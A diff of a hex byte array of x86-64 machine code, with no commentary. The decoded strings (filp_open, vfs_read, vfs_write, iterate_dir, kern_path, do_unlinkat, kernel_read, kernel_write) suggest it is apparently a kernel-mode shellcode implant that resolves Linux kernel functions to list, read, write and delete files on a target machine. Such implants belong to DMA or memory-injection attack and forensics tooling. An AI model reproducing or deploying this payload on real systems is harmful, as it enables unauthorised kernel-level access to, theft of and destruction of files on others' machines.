+ 0x30, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0xd0, 0x01, 0x00, 0x00, 0x33, 0xf6, 0xc7, 0x85, 0x00,
+ 0x01, 0x00, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x48, 0x8d, 0x85, 0x00, 0x01, 0x00, 0x00, 0x66, 0xc7,
+ 0x85, 0x04, 0x01, 0x00, 0x00, 0x70, 0x79, 0x48, 0x89, 0x45, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8d,
+ 0x85, 0x08, 0x01, 0x00, 0x00, 0x40, 0x88, 0xb5, 0x06, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x38,
+ 0x44, 0x8d, 0x4e, 0x07, 0x48, 0x8d, 0x45, 0xa8, 0xc7, 0x85, 0x08, 0x01, 0x00, 0x00, 0x6d, 0x65,
+ 0x6d, 0x73, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d, 0x44,
+ 0x24, 0x68, 0x48, 0x89, 0x45, 0x48, 0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x44, 0x24, 0x28, 0x66, 0xc7,
+ 0x85, 0x0c, 0x01, 0x00, 0x00, 0x65, 0x74, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8d, 0x55, 0x30, 0x48,
+ 0x8d, 0x44, 0x24, 0x78, 0x40, 0x88, 0xb5, 0x0e, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x58, 0x48,
+ 0x8d, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x60, 0xc7, 0x45, 0xa8, 0x66, 0x69, 0x6c,
+ 0x70, 0xc7, 0x45, 0xac, 0x5f, 0x63, 0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xb0, 0x73, 0x65, 0x40, 0x88,
+ 0x75, 0xb2, 0xc7, 0x44, 0x24, 0x68, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x44, 0x24, 0x6c, 0x5f, 0x6f,
+ 0x70, 0x65, 0x66, 0xc7, 0x44, 0x24, 0x70, 0x6e, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x76, 0x66, 0x73,
+ 0x5f, 0xc7, 0x44, 0x24, 0x2c, 0x72, 0x65, 0x61, 0x64, 0x40, 0x88, 0x74, 0x24, 0x30, 0xc7, 0x44,
+ 0x24, 0x78, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x7c, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7,
+ 0x45, 0x80, 0x65, 0x00, 0xc7, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7,
+ 0x85, 0xf4, 0x00, 0x00, 0x00, 0x64, 0x00, 0xe8, 0xdc, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84,
+ 0x48, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xb8, 0xc7, 0x45, 0xb8, 0x69,
+ 0x74, 0x65, 0x72, 0xc7, 0x45, 0xbc, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xc0, 0x64, 0x69, 0x72,
+ 0x00, 0xe8, 0xfc, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x38, 0x48, 0x8d, 0x55, 0xc8, 0x48, 0x8b,
+ 0x4f, 0x10, 0xc7, 0x45, 0xc8, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0xcc, 0x72, 0x65, 0x61, 0x64,
+ 0xc7, 0x45, 0xd0, 0x64, 0x69, 0x72, 0x00, 0xe8, 0xd6, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x40,
+ 0x48, 0x39, 0x73, 0x38, 0x75, 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xed, 0x01, 0x00, 0x00, 0x48,
+ 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x54, 0x24, 0x38, 0xc7, 0x44, 0x24, 0x38, 0x76, 0x66, 0x73, 0x5f,
+ 0xc7, 0x44, 0x24, 0x3c, 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x40, 0xe8, 0xa0, 0xfd,
+ 0xff, 0xff, 0x48, 0x89, 0x43, 0x48, 0x48, 0x8d, 0x55, 0x88, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45,
+ 0x88, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x8c, 0x73, 0x74, 0x61, 0x74, 0x66, 0xc7, 0x45, 0x90,
+ 0x78, 0x00, 0xe8, 0x7b, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x50, 0x48, 0x39, 0x73, 0x48, 0x75,
+ 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x92, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d,
+ 0x55, 0x98, 0xc7, 0x45, 0x98, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0x9c, 0x5f, 0x70, 0x61, 0x74,
+ 0x66, 0xc7, 0x45, 0xa0, 0x68, 0x00, 0xe8, 0x47, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x78, 0x48,
+ 0x8d, 0x54, 0x24, 0x48, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x48, 0x70, 0x61, 0x74, 0x68,
+ 0xc7, 0x44, 0x24, 0x4c, 0x5f, 0x70, 0x75, 0x74, 0x40, 0x88, 0x74, 0x24, 0x50, 0xe8, 0x20, 0xfd,
+ 0xff, 0xff, 0x48, 0x89, 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0x18, 0x48, 0x8b, 0x4f,
+ 0x10, 0xc7, 0x45, 0x18, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x1c, 0x67, 0x65, 0x74, 0x61, 0xc7,
+ 0x45, 0x20, 0x74, 0x74, 0x72, 0x5f, 0xc7, 0x45, 0x24, 0x6e, 0x6f, 0x73, 0x65, 0x66, 0xc7, 0x45,
+ 0x28, 0x63, 0x00, 0xe8, 0xea, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x83, 0x88, 0x00, 0x00, 0x00, 0x48,
+ 0x8d, 0x54, 0x24, 0x58, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x58, 0x76, 0x66, 0x73, 0x5f,
+ 0xc7, 0x44, 0x24, 0x5c, 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x60, 0xe8, 0xc0, 0xfc,
+ 0xff, 0xff, 0x48, 0x89, 0x43, 0x58, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x4f, 0x10, 0xc7,
+ 0x44, 0x24, 0x20, 0x67, 0x65, 0x74, 0x6e, 0xc7, 0x44, 0x24, 0x24, 0x61, 0x6d, 0x65, 0x00, 0xe8,
+ 0x9e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x60, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x8b, 0x4f, 0x10,
+ 0xc7, 0x45, 0x08, 0x67, 0x65, 0x74, 0x6e, 0xc7, 0x45, 0x0c, 0x61, 0x6d, 0x65, 0x5f, 0xc7, 0x45,
+ 0x10, 0x6b, 0x65, 0x72, 0x6e, 0x66, 0xc7, 0x45, 0x14, 0x65, 0x6c, 0x40, 0x88, 0x75, 0x16, 0xe8,
+ 0x6e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x68, 0x48, 0x8d, 0x55, 0xd8, 0x48, 0x8b, 0x4f, 0x10,
+ 0xc7, 0x45, 0xd8, 0x64, 0x6f, 0x5f, 0x75, 0xc7, 0x45, 0xdc, 0x6e, 0x6c, 0x69, 0x6e, 0xc7, 0x45,
+ 0xe0, 0x6b, 0x61, 0x74, 0x00, 0xe8, 0x48, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x70, 0x48, 0x39,
+ 0x73, 0x58, 0x75, 0x0b, 0x48, 0x39, 0x73, 0x60, 0x74, 0x62, 0x48, 0x85, 0xc0, 0x74, 0x5d, 0x48,
+ 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xe8, 0xc7, 0x45, 0xe8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45,
+ 0xec, 0x65, 0x6c, 0x5f, 0x72, 0xc7, 0x45, 0xf0, 0x65, 0x61, 0x64, 0x00, 0xe8, 0x11, 0xfc, 0xff,
+ 0xff, 0x48, 0x89, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xf8, 0x48, 0x8b, 0x4f, 0x10,
+ 0xc7, 0x45, 0xf8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0xfc, 0x65, 0x6c, 0x5f, 0x77, 0xc7, 0x45,
+ 0x00, 0x72, 0x69, 0x74, 0x65, 0x40, 0x88, 0x75, 0x04, 0xe8, 0xe4, 0xfb, 0xff, 0xff, 0x48, 0x89,
+ 0x83, 0x98, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b,
+ 0x9c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xd0, 0x01, 0x00, 0x00, 0x5f, 0x5e, 0x5d,
+ 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff,
+ 0x01, 0x00, 0x00, 0x49, 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x8d, 0x41, 0x42, 0xe8,
+ 0x9e, 0xfb, 0xff, 0xff, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b,
+ 0xc1, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33,
+ 0xc0, 0x48, 0x8b, 0xd0, 0xe8, 0x79, 0xfb, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b,
+ 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x58, 0x48, 0x8b,
+ 0xda, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x49, 0x8d, 0x50, 0x18, 0xe8,
+ 0x4e, 0xfb, 0xff, 0xff, 0xeb, 0x3a, 0x48, 0x8b, 0x4a, 0x68, 0x48, 0x85, 0xc9, 0x74, 0x07, 0x48,
+ 0x83, 0x7a, 0x70, 0x00, 0x75, 0x10, 0x48, 0x8b, 0x4a, 0x60, 0x48, 0x85, 0xc9, 0x74, 0x21, 0x48,
+ 0x83, 0x7a, 0x70, 0x00, 0x74, 0x1a, 0x49, 0x8d, 0x50, 0x18, 0xe8, 0x23, 0xfb, 0xff, 0xff, 0x48,
+ 0x8b, 0x4b, 0x70, 0x4c, 0x8b, 0xc0, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x12, 0xfb, 0xff, 0xff,
+ 0x48, 0xf7, 0xd8, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57,
- 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50,
- 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0x81,
- 0xf6, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
- 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x61, 0x48, 0x8b, 0x8b, 0x90,
- 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x75, 0x04, 0x48, 0x8b, 0x4b, 0x20, 0x4c, 0x8b, 0x87, 0x08,
- 0x02, 0x00, 0x00, 0x48, 0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03, 0x47, 0x28, 0x48, 0x8b,
- 0xd6, 0x4c, 0x8b, 0x8f, 0x10, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x32, 0xf6,
- 0xff, 0xff, 0x48, 0x89, 0x87, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x10,
- 0x48, 0x8b, 0xd6, 0xe8, 0x1c, 0xf6, 0xff, 0xff, 0x48, 0x8b, 0x87, 0x00, 0x02, 0x00, 0x00, 0x48,
- 0x39, 0x87, 0x10, 0x02, 0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c,
- 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30,
- 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48,
- 0x83, 0xec, 0x30, 0x49, 0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9,
- 0x49, 0xc1, 0xe0, 0x03, 0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x18, 0x48,
- 0x8d, 0x53, 0x18, 0x49, 0x81, 0xc8, 0x01, 0x00, 0x04, 0x00, 0xe8, 0xb5, 0xf5, 0xff, 0xff, 0x48,
+ 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50,
+ 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0xcf,
+ 0xfa, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
+ 0x48, 0x3b, 0xf0, 0x76, 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x8a, 0x00, 0x00, 0x00, 0x48,
+ 0x8d, 0x0d, 0x9a, 0x00, 0x00, 0x00, 0xe8, 0xfd, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x38, 0x4c,
+ 0x8d, 0x05, 0x01, 0xfb, 0xff, 0xff, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x89, 0x44, 0x24,
+ 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40,
+ 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x70, 0xfa,
+ 0xff, 0xff, 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x40, 0x48, 0x85, 0xc9, 0x74, 0x14, 0x4c, 0x8d, 0x4c,
+ 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x58, 0xfa, 0xff, 0xff, 0x48, 0x89, 0x87, 0x28, 0x02, 0x00,
+ 0x00, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0xe8, 0x42, 0xfa, 0xff, 0xff,
+ 0x48, 0x8b, 0x4b, 0x30, 0xe8, 0x39, 0xfa, 0xff, 0xff, 0x4c, 0x8b, 0xc5, 0x48, 0x8b, 0xd3, 0x48,
+ 0x8b, 0xcf, 0xe8, 0xed, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b,
+ 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc,
+ 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x4c,
+ 0x8b, 0x51, 0x10, 0x33, 0xf6, 0x44, 0x8b, 0xde, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x49, 0x39,
+ 0xb2, 0x78, 0x03, 0x00, 0x00, 0x49, 0x8b, 0x82, 0x00, 0x02, 0x00, 0x00, 0x41, 0x0f, 0x95, 0xc3,
+ 0x4c, 0x8d, 0x88, 0x40, 0x02, 0x00, 0x00, 0x4d, 0x3b, 0x8a, 0x10, 0x02, 0x00, 0x00, 0x77, 0x7e,
+ 0x49, 0x8b, 0x8a, 0x08, 0x02, 0x00, 0x00, 0x49, 0x03, 0x4a, 0x28, 0x8b, 0x54, 0x24, 0x30, 0x48,
+ 0x03, 0xc8, 0x8d, 0x46, 0x04, 0x3b, 0xd0, 0x74, 0x1e, 0x44, 0x8d, 0x4e, 0x08, 0x41, 0x3b, 0xd1,
+ 0x74, 0x0c, 0x83, 0xfa, 0x0a, 0x41, 0x0f, 0x45, 0xc1, 0x48, 0x89, 0x01, 0xeb, 0x10, 0x48, 0xc7,
+ 0x01, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x48, 0xc7, 0x01, 0x02, 0x00, 0x00, 0x00, 0x4d, 0x63,
+ 0xc8, 0x48, 0x8b, 0xd6, 0x45, 0x85, 0xc0, 0x74, 0x21, 0x4c, 0x8d, 0x41, 0x38, 0x48, 0x81, 0xfa,
+ 0x03, 0x01, 0x00, 0x00, 0x73, 0x14, 0x0f, 0xb6, 0x04, 0x3a, 0x48, 0xff, 0xc2, 0x66, 0x41, 0x89,
+ 0x00, 0x49, 0x83, 0xc0, 0x02, 0x49, 0x3b, 0xd1, 0x72, 0xe3, 0x66, 0x89, 0x74, 0x51, 0x38, 0x48,
+ 0x8b, 0x43, 0x10, 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b,
+ 0x5c, 0x24, 0x08, 0x41, 0x8b, 0xc3, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18,
+ 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,
+ 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xa8, 0x68,
+ 0xf5, 0xff, 0xff, 0x48, 0x81, 0xec, 0x70, 0x0b, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x48, 0xb8, 0x8f,
+ 0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xe9, 0x48, 0xf7, 0xa1,
+ 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x60, 0x41, 0x8b, 0xd9, 0x4c, 0x8b, 0xf2, 0x49, 0xc1,
+ 0xee, 0x09, 0x4c, 0x2b, 0xc0, 0x49, 0x8d, 0x04, 0x18, 0x8a, 0x4c, 0x05, 0x78, 0x84, 0xc9, 0x74,
+ 0x10, 0x88, 0x4c, 0x1d, 0x60, 0x48, 0xff, 0xc3, 0x48, 0x81, 0xfb, 0x04, 0x01, 0x00, 0x00, 0x72,
+ 0xe4, 0x48, 0x85, 0xdb, 0x74, 0x0f, 0x80, 0x7c, 0x1d, 0x5f, 0x2f, 0x74, 0x08, 0xc6, 0x44, 0x1d,
+ 0x60, 0x2f, 0x48, 0xff, 0xc3, 0x4d, 0x89, 0xb5, 0x30, 0x02, 0x00, 0x00, 0x4d, 0x8b, 0xf9, 0x4d,
+ 0x85, 0xf6, 0x0f, 0x84, 0x01, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x60, 0x4c, 0x89, 0x8d, 0xa0,
+ 0x0a, 0x00, 0x00, 0x4c, 0x03, 0xc3, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xbd, 0x08, 0x02, 0x00, 0x00,
+ 0x49, 0x8b, 0xc9, 0x49, 0x03, 0x7d, 0x28, 0x49, 0x03, 0xfc, 0x48, 0x8d, 0x57, 0x38, 0x66, 0x44,
+ 0x3b, 0x0a, 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, 0x08, 0x48, 0xff,
+ 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4, 0x48, 0x8d, 0x04, 0x19, 0x44, 0x88,
+ 0x4c, 0x05, 0x60, 0x48, 0x8b, 0x46, 0x50, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xea, 0x00, 0x00, 0x00,
+ 0x48, 0x8b, 0x4e, 0x78, 0x48, 0x85, 0xc9, 0x74, 0x6a, 0x4c, 0x39, 0x8e, 0x88, 0x00, 0x00, 0x00,
+ 0x74, 0x61, 0x4c, 0x8d, 0x8d, 0x70, 0x02, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x48,
+ 0x8d, 0x55, 0x60, 0xe8, 0x2a, 0xf8, 0xff, 0xff, 0x45, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, 0x85,
+ 0x1e, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8e, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xb0, 0x4c,
+ 0x89, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0x41, 0xb9, 0xff, 0x07, 0x00,
+ 0x00, 0xe8, 0xfc, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x8e, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0,
+ 0x48, 0x85, 0xc9, 0x74, 0x39, 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0xe8, 0xe1, 0xf7, 0xff,
+ 0xff, 0xeb, 0x2b, 0x48, 0x8d, 0x4d, 0xb0, 0xc7, 0x44, 0x24, 0x28, 0xff, 0x07, 0x00, 0x00, 0x48,
+ 0x89, 0x4c, 0x24, 0x20, 0x4c, 0x8d, 0x45, 0x60, 0x48, 0x8b, 0xc8, 0x41, 0xb9, 0x00, 0x08, 0x00,
+ 0x00, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0xb7, 0xf7, 0xff, 0xff, 0x4c, 0x8b, 0xe0, 0x4d, 0x85,
+ 0xe4, 0x4c, 0x8b, 0xa5, 0xa0, 0x0a, 0x00, 0x00, 0x0f, 0x85, 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b,
+ 0x45, 0xe8, 0x49, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x30,
+ 0x48, 0x8b, 0x4d, 0xf0, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89,
+ 0x47, 0x08, 0x48, 0x8b, 0x4d, 0x10, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00,
+ 0x48, 0x89, 0x47, 0x18, 0x48, 0x8b, 0x4d, 0x00, 0xeb, 0x5a, 0x48, 0x8b, 0x4e, 0x48, 0x48, 0x85,
+ 0xc9, 0x74, 0x5f, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x55, 0x60, 0xe8, 0x51, 0xf7, 0xff,
+ 0xff, 0x48, 0x85, 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x49, 0xba, 0x00, 0x91, 0x10,
+ 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x49, 0x03,
+ 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x08, 0x48, 0x8b, 0x4c, 0x24,
+ 0x78, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x18, 0x48,
+ 0x8b, 0x4c, 0x24, 0x68, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89,
+ 0x47, 0x10, 0x48, 0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x49, 0xf7, 0xe7, 0x49,
+ 0x8b, 0xc7, 0x48, 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, 0x48, 0xc1, 0xe8, 0x05, 0x48,
+ 0x6b, 0xc8, 0x32, 0x4c, 0x3b, 0xf9, 0x75, 0x09, 0x48, 0x8b, 0x4e, 0x30, 0xe8, 0xd1, 0xf6, 0xff,
+ 0xff, 0x49, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x60, 0x49, 0xff, 0xc7, 0x4c,
+ 0x89, 0xa5, 0xa0, 0x0a, 0x00, 0x00, 0x4d, 0x8d, 0x04, 0x18, 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00,
+ 0x4d, 0x3b, 0xfe, 0x0f, 0x82, 0x10, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x70, 0x0b, 0x00,
+ 0x00, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, 0x48, 0x49, 0x8b, 0xe3,
+ 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
+ 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30,
+ 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9,
+ 0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0x53, 0xf6, 0xff, 0xff, 0x48,
0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76,
- 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x4e, 0x48, 0x8b, 0x8f, 0x98, 0x00, 0x00, 0x00, 0x48,
- 0x85, 0xc9, 0x75, 0x04, 0x48, 0x8b, 0x4f, 0x28, 0x4c, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48,
- 0x8d, 0x83, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44,
- 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x6a, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x10, 0x45, 0x33,
- 0xc0, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xd8, 0xe8, 0x58, 0xf5, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b,
- 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48,
- 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x81, 0xec, 0xc0, 0x00, 0x00,
- 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0xc2, 0xf5, 0xff, 0xff, 0x85, 0xc0,
- 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0xf0, 0xe9, 0xa6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x08,
- 0x01, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03,
- 0x00, 0x00, 0x0f, 0x82, 0x85, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20,
- 0xe7, 0x79, 0x49, 0x39, 0x00, 0x75, 0x76, 0x41, 0xf6, 0x40, 0x10, 0x10, 0x75, 0x6f, 0x49, 0x8b,
